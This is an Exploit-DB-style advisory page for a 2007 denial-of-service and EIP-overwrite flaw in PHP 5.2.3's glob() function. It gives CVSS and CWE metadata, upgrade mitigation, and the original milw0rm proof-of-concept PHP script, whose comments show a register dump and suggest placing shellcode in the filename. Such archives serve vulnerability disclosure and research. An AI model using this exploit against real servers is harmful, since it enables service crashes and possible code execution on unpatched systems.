PHP 5.2.3 glob() Remote DoS Exploit

vendor:

PHP

by:

shinnai

7.5

CVSS

HIGH

Denial of Service

119

CWE

Product Name: PHP

Affected Version From: PHP 5.2.3

Affected Version To: PHP 5.2.3

Patch Exists: NO

Related CWE:

CPE: a:php:php:5.2.3

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP2, Apache

2007

PHP 5.2.3 glob() Remote DoS Exploit

This exploit targets a vulnerability in the glob() function in PHP 5.2.3. By passing a non-integer value to the 'flags' parameter, an EIP (Extended Instruction Pointer) overwrite can be triggered, causing a Denial of Service. The exploit takes advantage of this to overwrite the EIP with the first 4 bytes of a filename. By saving a file with a specific name and launching it, the EIP can be controlled. This vulnerability was discovered by 'shinnai' with the help of 'Footzo'.

Mitigation:

Upgrade to a version of PHP that is not affected by this vulnerability. In this case, PHP 5.2.4 or later versions are not vulnerable.

Source

Exploit-DB raw data:

<?php
//PHP 5.2.3 glob() Remote DoS Exploit
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp sp2, worked both from the cli (EIP overwrite) and on apache (Denial of Service)

//Bug discovered with "Footzo" (thanks to rgod).

//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar

//as you know, glob function expects an integer value passed to "[int $flags] " parameter
//so when you give it something not integer (like -1) a funny thing happens:
//I never seen something like that, EIP is overwrite with 4 bytes of filename :D
//if you save aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb.php under C:\ and launch it
//registers content will appear as follow:

//EAX 00C0F8EC
//ECX 00C0E9FC ASCII "C:\\aaaa"
//EDX 00C0EC1C
//EBX 00C0EC64 UNICODE "C:\\aaaa"
//ESP 00C0E9F0
//EBP 00000000
//ESI 00C0F8EC
//EDI 00C0EC74
//EIP 62626262

//any idea? put shellcode in filename :D

glob("a",-1);
?>

# milw0rm.com [2007-07-14]